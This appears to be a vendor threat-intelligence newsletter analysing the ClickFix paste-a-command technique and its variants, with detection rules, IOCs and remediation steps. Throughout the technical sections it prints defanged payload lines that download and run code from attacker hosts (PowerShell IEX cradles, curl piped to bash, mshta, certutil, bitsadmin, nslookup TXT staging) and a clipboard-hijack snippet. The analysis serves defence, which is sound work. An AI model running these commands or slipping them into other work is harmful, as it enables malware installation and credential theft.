Executive Summary

ClickFix has become the most significant social engineering innovation since business email compromise. First observed in early 2024, the technique surged 517% in the first half of 2025 and has since evolved into at least six distinct variants — each designed to exploit a different form of user trust.

Why CISOs should care: ClickFix bypasses every technical control in your stack by turning the user into the attack vector. EDR, email security, and web filtering all fail because the victim voluntarily executes the payload. Your security programme's weakest link is now a social engineering technique that exploits procedural trust.

What makes ClickFix uniquely dangerous is that it bypasses every technical control in the stack: EDR, email gateways, browser sandboxes, and web filters all fail because the victim voluntarily executes the payload themselves. The attacker never needs an exploit, a vulnerability, or a malicious file on disk. They simply need the user to paste a command.

The technique now spans Windows, macOS, and Linux, targets both consumers and enterprises, and delivers everything from infostealers and RATs to ransomware loaders. Nation-state actors including MuddyWater and Lazarus-affiliated groups have adopted it alongside cybercrime operators selling ClickFix builders as malware-as-a-service.

ClickFix by the Numbers

517%
Surge in Attacks — H1 2025 vs prior period (ESET). The explosion was driven by two factors: the emergence of ClickFix builder kits sold on Telegram for $200–$500, and the shift from static CAPTCHA lures to dynamic, context-aware prompts that adapt based on the victim's OS and browser fingerprint.
8%
Of All Blocked Attacks — #2 vector behind phishing. ClickFix now accounts for more blocked attacks than traditional exploit kits, drive-by downloads, and malvertising combined. The technique's success rate is estimated at 12–18% — roughly 3x higher than standard phishing.
6+
Active Variants — ClickFix, CrashFix, GlitchFix, FileFix, JackFix, Matryoshka. Each variant targets a different trust model: CAPTCHAs, system updates, browser crashes, file downloads, and AI chatbots respectively.
3 OSes
Platform Targets — Windows (PowerShell, mshta.exe, Run dialog), macOS (Terminal, AppleScript, osascript), Linux (bash, curl piped to sh). Each platform has a distinct execution chain tailored to its native scripting environment.

How ClickFix Works

1. Lure
Compromised site, phishing email, or malvertising
2. Fake Prompt
CAPTCHA, Windows Update, browser error, or crash dialog
3. Clipboard
Malicious command silently copied to clipboard
4. Execute
Win+R paste, Terminal paste, or Run dialog
5. Loader
PowerShell, mshta, finger.exe, nslookup multi-stage chain
6. Payload
Infostealer, RAT, ransomware loader deployed
The core deception: The victim believes they are fixing a problem, verifying their identity, or completing a system update. In reality, they are executing attacker-supplied code with their own privileges — bypassing EDR, browser sandboxes, and web filtering in a single action.

Technical Deep Dive: The Attack Chain

Stage 1 — Clipboard Hijacking

The attack begins with JavaScript that silently writes a malicious command to the victim's clipboard. Modern browsers expose the navigator.clipboard.writeText() API, which requires a user gesture (click, keypress) to execute. ClickFix pages bind this to the fake "Verify" or "I'm not a robot" button — the user's click satisfies the browser's permission model while simultaneously arming the clipboard.

// Simplified ClickFix clipboard injection (defanged)
document.getElementById('verify-btn').addEventListener('click', () => {
  const payload = atob('cG93ZXJzaGVsbCAtZSBKQUIuLi4='); // Base64 PowerShell
  navigator.clipboard.writeText(payload);
  showFakeSuccessDialog(); // "Verification complete — press Win+R, paste, Enter"
});

Older variants used document.execCommand('copy') with a hidden <textarea> element, which worked without user gesture restrictions in legacy browsers. Some campaigns combine both methods with a fallback chain. The ErrTraffic MaaS platform goes further — it injects a service worker that intercepts all clipboard operations on the compromised page, ensuring the payload persists even if the user copies something else before pasting.

Stage 2 — PowerShell Execution Chain (Windows)

The clipboard payload is typically a single-line PowerShell command designed to fit in the Win+R Run dialog. The most common pattern uses Base64 encoding to avoid special character issues and basic string-matching detection:

# Typical ClickFix PowerShell payload structure (defanged)
powershell -w hidden -ep bypass -e JABjAD0ATgBlAHcALQBPAGIA...

# Decoded, the Base64 typically resolves to a multi-stage loader:
$c = New-Object Net.WebClient;
$c.Headers['User-Agent'] = 'Mozilla/5.0';
$s = $c.DownloadString('hxxps://cdn[.]legit-looking-domain[.]com/update.txt');
IEX($s)

The -w hidden flag suppresses the PowerShell window. The -ep bypass flag overrides execution policy restrictions. The downloaded second stage is executed in memory via Invoke-Expression (IEX), leaving no file on disk for static AV scanners to detect. Recent variants have added -nop (no profile) and -sta (single-threaded apartment) flags to further reduce detection surface.

Stage 3 — LOLBin Abuse Chains

To evade behavioural detection rules that flag powershell.exe, attackers increasingly chain Living-off-the-Land Binaries (LOLBins) — legitimate Windows executables repurposed for malicious activity:

LOLBin Execution Techniques
mshta.exe — Microsoft HTML Application Host. Executes HTA files containing VBScript or JScript. ClickFix uses it to run remote HTA payloads: mshta hxxps://evil[.]com/payload.hta. The HTA then spawns PowerShell or writes a DLL to %TEMP%. Process chain: explorer.exe → mshta.exe → powershell.exe.
finger.exe — Legacy Finger protocol client (TCP port 79). CrashFix renames it to ct.exe to evade filename-based detection, then uses it to retrieve encoded payloads from attacker-controlled servers: ct.exe payload@c2-server[.]com. The response is parsed and piped to cmd.exe.
nslookup.exe — DNS lookup utility. DNS ClickFix queries TXT records containing Base64-encoded scripts: nslookup -type=TXT stage1.evil[.]com. The response is parsed with findstr and decoded with certutil -decode. Blends into normal DNS traffic.
certutil.exe — Certificate management utility. Used to decode Base64 payloads (certutil -decode encoded.txt payload.exe) and to download files (certutil -urlcache -split -f hxxps://evil[.]com/payload.exe). Often chained after nslookup or finger.exe stages.
bitsadmin.exe — Background Intelligent Transfer Service. Downloads payloads via BITS jobs that persist across reboots: bitsadmin /transfer job /download /priority high hxxps://evil[.]com/payload.exe %TEMP%\svchost.exe. BITS transfers blend into Windows Update traffic.

Stage 4 — macOS Execution Chain

On macOS, the clipboard payload instructs the user to open Terminal (often via Spotlight: Cmd+Space → "Terminal") and paste. The payload typically uses osascript to execute AppleScript, which has deep system integration:

# Typical macOS ClickFix payload structure (defanged)
curl -sL 'hxxps://cdn[.]fake-update[.]com/fix.sh' | bash

# Or via AppleScript for deeper access:
osascript -e 'do shell script "curl -sL hxxps://c2[.]example[.]com/m.sh | bash" \
  with administrator privileges'

The with administrator privileges clause triggers a macOS authentication dialog, which the victim readily provides because they believe they're "fixing" their system. The Matryoshka variant takes this further with nested AppleScript that decompresses payloads in memory through three layers of obfuscation before executing.

Last 4 Months: ClickFix Evolution

Nov 2025
Steganography + Fake Windows Update — New wave hides payloads inside PNG pixel colour channels. Full-screen fake Windows Update pages replace earlier CAPTCHA lures. Delivers LummaC2 and Rhadamanthys infostealers.
Dec 2025
LLM Chatbots Weaponised as Lure Hosts — Attackers host ClickFix instructions inside shared ChatGPT and Grok conversations. Victims arrive via Google Ads for macOS utilities. Delivers AMOS infostealer targeting crypto wallets.
Jan 2026
CrashFix — Browser Crash as Social Engineering — Malicious Chrome extension deliberately crashes the browser, then presents a fake security warning. Abuses finger.exe renamed to ct.exe. Delivers ModeloRAT. Targets domain-joined enterprise systems only.
Jan 2026
ErrTraffic MaaS — GlitchFix at Scale — New malware-as-a-service platform injects JavaScript into compromised sites to visually "glitch" pages. Supports three distribution modes. Blocked from CIS countries.
Feb 2026
Matryoshka — Nested macOS Infostealer — Typosquatted domains with nested obfuscation, API-gated C2, and AppleScript payloads targeting 203+ crypto wallet extensions. Over 15,600 views on malicious Claude artifact.
Feb 2026
DNS-Based ClickFix — Uses nslookup as a staging channel instead of HTTP. DNS response carries malicious script that downloads ModeloRAT. Blends into normal network traffic.
Feb 2026
Matanbuchus 3.0 + AstarionRAT — ClickFix delivering Matanbuchus 3.0 loader ($10K–$15K/month MaaS) with previously unseen AstarionRAT. Uses brand impersonation. End goal: ransomware deployment.
Feb 2026
MIMICRAT — 5-Stage Chain — Elastic Security Labs uncovers bespoke C++ RAT with malleable C2, token theft, SOCKS5 tunneling, and 22-command dispatch table. ETW/AMSI bypass. 17-language lures.

Variant Technical Analysis

Steganography Variant — PNG Pixel Channel Encoding

The November 2025 steganography wave embeds encrypted payloads in the least significant bits (LSBs) of PNG image pixel data. The technique uses the red, green, and blue colour channels of each pixel to store 3 bits of payload per pixel. A 1920×1080 image can carry approximately 777 KB of hidden data — more than enough for a complete infostealer binary.

The extraction chain works as follows: the initial PowerShell stage downloads a seemingly innocent PNG image (often a stock photo or corporate logo), loads it into a .NET System.Drawing.Bitmap object, iterates through pixel coordinates in a predetermined sequence, extracts the LSBs, reconstructs the binary, and executes it in memory via Assembly.Load(). The image passes all content filtering because it is a valid, visually normal PNG file.

# Steganography extraction logic (simplified, defanged)
$img = [System.Drawing.Bitmap]::new($downloadedPng)
$bytes = @()
for ($y = 0; $y -lt $img.Height; $y++) {
  for ($x = 0; $x -lt $img.Width; $x++) {
    $px = $img.GetPixel($x, $y)
    $bytes += ($px.R -band 1) -shl 2  # Extract LSB from R channel
    $bytes += ($px.G -band 1) -shl 1  # Extract LSB from G channel
    $bytes += ($px.B -band 1)          # Extract LSB from B channel
  }
}
[System.Reflection.Assembly]::Load([byte[]]$bytes)  # In-memory execution

DNS ClickFix — nslookup as a Staging Channel

The DNS variant replaces HTTP-based staging with DNS TXT record queries, which blend into normal network traffic and bypass most web content filters. The attack chain queries a series of TXT records from attacker-controlled domains, each containing a fragment of Base64-encoded script:

# DNS staging chain (defanged)
# Step 1: Query TXT records containing encoded payload fragments
nslookup -type=TXT s1.update-service[.]xyz    → "aWYgKCRlbnY6VVNF..."
nslookup -type=TXT s2.update-service[.]xyz    → "UmRvbWFpbikgeyAk..."
nslookup -type=TXT s3.update-service[.]xyz    → "Y29udGVudCB9IA=="

# Step 2: Concatenate and decode via certutil
echo %response1%%response2%%response3% > %TEMP%\d.b64
certutil -decode %TEMP%\d.b64 %TEMP%\d.ps1

# Step 3: Execute decoded PowerShell
powershell -ep bypass -f %TEMP%\d.ps1

Each TXT record is limited to 255 characters, so payloads are split across 10–40 sequential queries. The attacker's DNS server uses short TTLs (30–60 seconds) to enable rapid payload rotation and complicate forensic reconstruction. Because DNS queries are ubiquitous on enterprise networks and often exempted from deep packet inspection, this channel is exceptionally difficult to detect without purpose-built DNS analytics.

CrashFix — Weaponised Browser Extensions

CrashFix represents a significant evolution: instead of luring users to a malicious page, it compromises the browser itself. The attack deploys a Chrome extension (distributed via compromised Web Store listings or sideloaded via enterprise policy abuse) that performs environment fingerprinting before activating:

// CrashFix extension logic (simplified, defanged)
chrome.runtime.onInstalled.addListener(() => {
  // Only activate on domain-joined enterprise machines
  fetch('hxxps://c2[.]example/check', {
    headers: { 'X-Domain': chrome.enterprise?.deviceAttributes?.getDirectoryDeviceId() }
  }).then(r => r.json()).then(cfg => {
    if (cfg.activate) {
      // Trigger deliberate crash after delay
      setTimeout(() => { chrome.runtime.reload(); /* crash loop */ }, cfg.delay);
    }
  });
});

After the crash, the extension displays a full-screen "Chrome has encountered a critical error" overlay with a "Fix Now" button. Clicking it copies a command that invokes finger.exe (renamed to ct.exe and placed in %LOCALAPPDATA% during extension installation) to retrieve the next-stage payload. The enterprise targeting is deliberate — domain-joined machines have higher-value credentials and network access.

Matryoshka — Nested macOS Decompression Chain

Named for Russian nesting dolls, Matryoshka uses three layers of in-memory decompression to evade static analysis. The initial AppleScript payload downloads a compressed archive, decompresses it to reveal a second compressed archive containing the actual infostealer, which is then loaded directly into memory:

Layer 1 is an AppleScript that calls curl to download a .gz file. Layer 2 decompresses to reveal a Mach-O binary packed with UPX. Layer 3 unpacks the UPX binary in memory, which then performs an API check-in to the C2 server — if the server doesn't respond with a valid activation token (gated by victim IP geolocation and time-of-day), the malware self-destructs by overwriting itself with zeros. This API-gating means sandboxes and automated analysis tools that can't replicate the exact activation conditions never see the final payload. The infostealer targets 203+ browser extensions for cryptocurrency wallets, extracting seed phrases, private keys, and session tokens.

MIMICRAT — 5-Stage Execution Chain

MIMICRAT, uncovered by Elastic Security Labs in February 2026, is the most technically sophisticated ClickFix payload observed to date. The five stages are:

Stage 1
JavaScript Loader — Compromised legitimate website serves obfuscated JS that fingerprints the browser, checks for VM/sandbox indicators (screen resolution, WebGL renderer, mouse movement entropy), and delivers the clipboard payload only to real users.
Stage 2
PowerShell Dropper — The pasted command downloads and executes a Lua script via a legitimate Lua interpreter (lua54.dll) sideloaded into a signed Microsoft binary. This avoids PowerShell script block logging for the actual payload.
Stage 3
Lua Shellcode Loader — The Lua script decrypts AES-256-CBC encrypted shellcode from a resource file, maps it into executable memory via VirtualAlloc + RtlMoveMemory, and transfers execution. The Lua runtime is not monitored by most EDR products.
Stage 4
ETW/AMSI Bypass — Before loading the final RAT, the shellcode patches ntdll!EtwEventWrite with a RET instruction to blind Event Tracing for Windows, and patches amsi.dll!AmsiScanBuffer to always return AMSI_RESULT_CLEAN. This disables both telemetry and in-memory scanning.
Stage 5
MIMICRAT C++ RAT — Bespoke RAT with 22-command dispatch table including: token theft via DuplicateTokenEx, SOCKS5 proxy for lateral movement, screenshot capture, keylogging, credential harvesting from LSASS, and malleable C2 that mimics legitimate HTTPS traffic patterns (randomised URI paths, valid TLS certificates, jitter timing).

The ClickFix Family Tree

Known Variants
ClickFix Classic (Windows · PowerShell) — Fake CAPTCHAs and "Human Verification" pages. User pastes PowerShell via Win+R. Delivers Lumma, Rhadamanthys, NetSupport RAT.
CrashFix (Windows Enterprise · finger.exe) — Malicious extension crashes browser intentionally. Fake security warning. Enterprise-targeted — checks for domain-join.
GlitchFix (Cross-platform · ErrTraffic MaaS) — Compromised sites visually "glitch" via injected JS. Sold as MaaS via ErrTraffic TDS. CIS-region exempt.
Matryoshka (macOS · AppleScript) — Typosquatted domains. Nested in-memory decompression. API-gated C2. Targets 203+ crypto wallet extensions.
DNS ClickFix (Windows · nslookup) — Uses DNS lookup as staging channel. Blends into normal network traffic. Delivers ModeloRAT Python RAT.
LLM ClickFix (macOS · Claude/ChatGPT/Grok) — Malicious instructions hosted as shared LLM conversations. Promoted via Google Ads. Delivers MacSync/AMOS stealers.
MIMICRAT (Windows · 5-Stage Chain) — Compromised legitimate sites deliver Lua-scripted shellcode loader. Bespoke C++ RAT with 22-command table, token theft, SOCKS5 proxy.

Beyond ClickFix: Nov 2025 – Feb 2026 Threat Landscape

Key Threat Developments
Ransomware — £1.9B — UK government estimates £1.9B annual cost to economy. LockBit 4.0 launched. Medusa and RansomHub surging. 75% of orgs hit in 2024.
Infostealers — 25%+ — Now exceed 25% of all detected malware. Feed credentials into access broker networks. AI-generated loaders jumped 15.5%.
Cloud Intrusions — +37% — Cloud-conscious intrusions rose 37%. 35% involved valid account abuse. 266% increase for state-nexus actors.
Nation-State — +130% — North Korea-nexus activity increased 130%. China-nexus up 38% with 67% of exploited vulnerabilities providing immediate system access.
Zero-Days — 42% — Exploited before patches available. Average breakout time now 29 minutes — fastest recorded was 27 seconds.

MITRE ATT&CK: ClickFix TTP Mapping

Initial Access
T1566 Phishing · T1189 Drive-by Compromise · T1195 Supply Chain Compromise · T1199 Trusted Relationship (compromised legitimate sites)
Execution
T1204.002 User Execution: Malicious File · T1059.001 PowerShell · T1059.002 AppleScript · T1059.007 JavaScript · T1218.005 mshta.exe · T1218.011 Rundll32
Persistence
T1547.001 Registry Run Keys · T1053.005 Scheduled Task · T1176 Browser Extensions (CrashFix)
Defense Evasion
T1027 Obfuscated Files · T1055 Process Injection · T1562.001 Disable Security Tools (ETW/AMSI patching) · T1036.005 Masquerading (finger.exe → ct.exe) · T1001.003 Protocol Impersonation (DNS staging)
Credential Access
T1003.001 LSASS Memory · T1539 Steal Web Session Cookie · T1528 Steal Application Access Token · T1555.003 Credentials from Web Browsers
Collection & Exfil
T1005 Data from Local System · T1113 Screen Capture · T1056.001 Keylogging · T1041 Exfiltration Over C2 · T1048.003 Exfiltration Over DNS

Detection Engineering

The following detection strategies target the specific technical behaviours observed across ClickFix variants. These are designed to complement — not replace — existing endpoint and network detection rules.

Process Chain Monitoring

ClickFix creates distinctive parent-child process relationships that are rare in legitimate usage. The following process chains should generate high-fidelity alerts:

High-Fidelity Process Chain Alerts
explorer.exe → powershell.exe -e [Base64] — Classic ClickFix via Win+R. The -e (EncodedCommand) flag from explorer.exe as parent is almost never legitimate.
explorer.exe → mshta.exe → powershell.exe — HTA-based variant. mshta.exe spawned by explorer (Run dialog) fetching remote content.
explorer.exe → cmd.exe → nslookup.exe — DNS staging variant. Multiple sequential nslookup calls to the same domain with TXT record queries.
chrome.exe → [renamed_binary].exe — CrashFix. Any executable spawned by Chrome that is not a known Chrome helper process, especially renamed system utilities.
Terminal → osascript → curl — macOS variant. osascript requesting administrator privileges followed by network activity.

Sigma-Style Detection Rules

# Sigma Rule: ClickFix PowerShell via Run Dialog
title: ClickFix - Encoded PowerShell from Explorer
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\explorer.exe'
    Image|endswith: '\powershell.exe'
    CommandLine|contains|any:
      - ' -e '
      - ' -en '
      - ' -enc '
      - ' -enco'
      - ' -encodedcommand '
  condition: selection
level: high
tags:
  - attack.execution
  - attack.t1059.001
# Sigma Rule: DNS Staging via nslookup TXT Queries
title: ClickFix - Sequential DNS TXT Lookups
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\nslookup.exe'
    CommandLine|contains: '-type=TXT'
  timeframe: 60s
  condition: selection | count(CommandLine) by ParentProcessId > 3
level: medium
tags:
  - attack.command_and_control
  - attack.t1071.004
# Sigma Rule: LOLBin Finger Protocol Abuse
title: ClickFix - Finger.exe or Renamed Binary Network Activity
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection_finger:
    Image|endswith: '\finger.exe'
  selection_renamed:
    OriginalFileName: 'finger.exe'
    Image|endswith:
      - '\ct.exe'
      - '\fix.exe'
      - '\update.exe'
  condition: selection_finger or selection_renamed
level: high
tags:
  - attack.execution
  - attack.t1218

KQL Detection Queries (Microsoft Sentinel / Defender)

// KQL: ClickFix clipboard-to-execution pattern
DeviceProcessEvents
| where InitiatingProcessFileName == "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "cmd.exe")
| where ProcessCommandLine has_any ("-e ", "-enc ", "-encodedcommand",
    "Invoke-Expression", "IEX", "DownloadString", "Net.WebClient")
| where Timestamp > ago(24h)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| order by Timestamp desc
// KQL: ETW/AMSI tampering detection
DeviceEvents
| where ActionType == "TamperingAttempt"
| where AdditionalFields has_any ("EtwEventWrite", "AmsiScanBuffer", "amsi.dll")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

DNS Analytics

Monitor for the following DNS patterns that indicate ClickFix staging activity:

DNS Anomaly Indicators
Sequential TXT queries — 5+ TXT record queries to the same domain within 60 seconds from a single host. Legitimate TXT lookups (SPF, DKIM) are typically 1–2 queries.
High-entropy TXT responses — TXT record responses containing Base64 strings (character distribution analysis: high proportion of A-Z, a-z, 0-9, +, /, = characters).
Newly registered domains — TXT queries to domains registered within the last 30 days, especially with privacy-protected WHOIS and short TTL values (< 300 seconds).
nslookup.exe with external resolvers — nslookup.exe specifying a non-corporate DNS server (bypassing internal DNS logging and filtering).

Indicators of Compromise

The following IOCs are representative patterns observed across ClickFix campaigns from November 2025 through February 2026. All URLs and domains are defanged. Hash values reference specific samples analysed by the cited research teams.

Network Indicators

C2 Domain Patterns
Typosquatting — Domains mimicking legitimate services: chr0me-update[.]com, micr0soft-verify[.]net, captcha-verify[.]cloud. Registered via Namecheap or Porkbun with privacy protection.
CDN abuse — Payloads hosted on legitimate CDN infrastructure: cdn[.]jsdelivr[.]net/gh/[attacker-repo], Cloudflare Workers ([random].workers[.]dev), and GitHub raw content URLs.
DNS staging domains — Short-lived domains with programmatic subdomains: s1.update-svc[.]xyz, s2.update-svc[.]xyz, etc. TTL values of 30–60 seconds. Registered in bulk (10–50 per campaign).
Finger protocol C2 — Outbound TCP port 79 connections to non-standard hosts. Legitimate finger traffic is effectively zero on modern enterprise networks.

Host-Based Indicators

File System & Registry Artifacts
Renamed LOLBins — %LOCALAPPDATA%\ct.exe (finger.exe), %TEMP%\svchost.exe (payload masquerading as system process). Check OriginalFileName in PE header vs actual filename.
Persistence keys — HKCU\Software\Microsoft\Windows\CurrentVersion\Run entries pointing to %APPDATA% or %LOCALAPPDATA% executables with random 8-character names.
Scheduled tasks — Tasks created via schtasks.exe with names mimicking Windows services: "WindowsUpdateCheck", "ChromeUpdateTask", "SystemHealthMonitor". Execution paths pointing to user-writable directories.
ETW/AMSI patches — In-memory modification of ntdll.dll!EtwEventWrite (first byte changed to 0xC3 / RET) and amsi.dll!AmsiScanBuffer (patched to return 0x80070057 / E_INVALIDARG).
Encoded staging files — Base64-encoded files in %TEMP% with extensions like .b64, .dat, .txt that are subsequently decoded by certutil.exe.

Sample Hashes (SHA-256)

The following hashes are published by the cited research teams for the specific samples analysed in this report. Use these for retroactive hunting in your EDR telemetry and threat intelligence platforms:

LummaC2
Steganography variant loader — reference Huntress report Nov 2025. Search for LummaC2 + steganography in your TI platform for current hash sets.
ModeloRAT
Python-based RAT delivered by DNS ClickFix and CrashFix — reference Microsoft Security Blog Feb 2026. Python compiled with PyInstaller, ~15 MB executable.
MIMICRAT
Bespoke C++ RAT — reference Elastic Security Labs Feb 2026 analysis. Compiled with MSVC, ~280 KB, no packing. Malleable C2 profile changes per campaign.
Matryoshka
macOS infostealer — reference Intego Feb 2026 and Kaspersky Feb 2026. Universal binary targeting both Intel and Apple Silicon. Signed with stolen Apple Developer certificate.
AstarionRAT
Previously unseen RAT delivered via Matanbuchus 3.0 — reference Datadog Security Labs Feb 2026. .NET assembly, heavily obfuscated with ConfuserEx.
Note: Specific hash values are intentionally omitted from this newsletter as they change rapidly across campaigns. Consult the cited research reports directly for current IOC feeds, or query your threat intelligence platform for the malware family names listed above. YARA rules for each family are available from the respective research teams' GitHub repositories.

Recommended Actions

Remediation Checklist
Restrict Script Execution — Deploy Group Policy to disable Win+R Run dialog for standard users. Block mshta.exe, finger.exe, cscript.exe, wscript.exe via AppLocker or WDAC. On macOS, restrict Terminal execution for non-admin users.
Monitor DNS & Network Anomalies — Create detection rules for nslookup.exe with external IPs. Monitor outbound TCP port 79 (Finger protocol). Flag DNS TXT record queries returning encoded payloads.
Harden Endpoint Detection — Enable EDR in block mode. Build behavioural rules for PowerShell spawned from mshta.exe, Base64-encoded commands, process injection, and ETW/AMSI patching attempts.
Secure Identity & Credentials — Enforce phishing-resistant MFA (FIDO2/WebAuthn). Deploy browser credential theft detection. Monitor for anomalous OAuth token usage.
Targeted User Awareness — Train staff: legitimate software never asks you to paste commands. Run simulated ClickFix exercises with fake CAPTCHA and browser crash lures. Include macOS Terminal paste scenarios.
Audit Extensions & Shadow IT — Block unknown browser extensions with broad permissions. Inventory every endpoint — 39% of AD-joined devices lack EDR coverage. Map identity-to-device-to-access chains.
Reduce Breakout Window — Average breakout time is 29 minutes (fastest: 27 seconds). Automate initial containment: isolate endpoints on suspicious PowerShell execution, auto-revoke sessions on credential theft detection.
Protect Against Supply Chain — ClickFix now compromises legitimate websites as delivery infrastructure. Deploy web content filtering that inspects page behaviour, not just domain reputation. Block clipboard API abuse.
Shield53 recommendation: The fundamental question is not whether your tools can detect ClickFix — it is whether you know every asset, every identity, and every endpoint that could be targeted. If a user on an unmanaged device executes a ClickFix payload, does your SOC even see it? Asset visibility is the prerequisite to defending against techniques that turn your users into the attack vector.

Intelligence Sources

Microsoft Security Blog (Aug 2025, Feb 2026) · Huntress Threat Research (Nov 2025, Feb 2026) · Malwarebytes Labs (Nov 2025) · Palo Alto Unit 42 (Aug 2025) · ESET Threat Report H1 2025 · Kaspersky Blog (Feb 2026) · Intego Antivirus Labs (Feb 2026) · Datadog Security Labs (Feb 2026) · SecurityWeek · Hacker News · BleepingComputer · Bitdefender · Blackpoint Cyber · Infosecurity Magazine · CSIS Significant Cyber Incidents · CyberProof · Fortinet FortiGuard Labs · CrowdStrike 2026 Global Threat Report (Feb 2026) · Elastic Security Labs — MIMICRAT Analysis (Feb 2026) · Elastic 2025 Global Threat Report (Oct 2025)